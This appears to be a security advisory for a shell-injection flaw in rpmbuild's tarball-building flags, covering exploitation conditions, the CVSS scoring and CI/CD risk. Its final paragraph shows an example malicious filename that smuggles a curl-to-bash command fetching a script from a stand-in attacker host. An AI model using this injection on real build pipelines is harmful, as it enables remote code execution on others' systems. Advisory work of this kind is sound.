rpm (rpmbuild) CVE-2026-84837

Exploitation requires that: (1) the victim system runs rpmbuild with the -t, -ta, -tb, or -tp flag; (2) the tarball path or filename argument is derived from externally supplied, attacker-controllable input (e.g., an uploaded artifact name or a user-provided URL path component); and (3) the externally supplied name is not sanitized of shell metacharacters before being passed to rpmbuild. The UI:R CVSS metric reflects the requirement that a human user or automated pipeline must invoke rpmbuild on the malicious tarball - direct remote exploitation without this step is not possible. Exploitation is limited to the privileges of the build user running rpmbuild; it does not inherently yield root access unless the build user has elevated permissions. Systems where rpmbuild is only run against internally generated, fully controlled tarball names are not at risk.

The provided CVSS 3.1 vector (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 7.8) accurately models the threat: an attacker with no system privileges supplies a maliciously named tarball, and a local build user must be socially engineered or automated (via CI/CD) into processing it. The UI:R metric is the critical limiting factor - direct, fully automated remote exploitation is not possible without the build pipeline running rpmbuild on attacker-controlled input. The real-world risk is concentrated in CI/CD pipelines that accept externally submitted tarballs (e.g., community contribution workflows, automated dependency builders), where the 'user interaction' step is effectively eliminated by automation. EPSS data is not available to quantify exploitation probability statistically. No KEV listing and no confirmed POC exist at time of analysis, so this should be treated as an important but not immediately weaponized issue. Organizations not running automated rpmbuild pipelines with external tarball input face substantially lower realistic risk despite the 7.8 base score.

An attacker submits a malicious tarball to a community package build system - or compromises an artifact upload endpoint - naming the file something like package-1.0;curl${IFS}attacker.com/shell.sh|bash;.tar.gz. The CI/CD pipeline automatically invokes rpmbuild -ta 'package-1.0;curl${IFS}attacker.com/shell.sh|bash;.tar.gz', causing the shell metacharacters to be interpreted, downloading and executing attacker-controlled code with the build user's privileges. No POC has been publicly confirmed, but the attack concept requires only basic shell injection knowledge.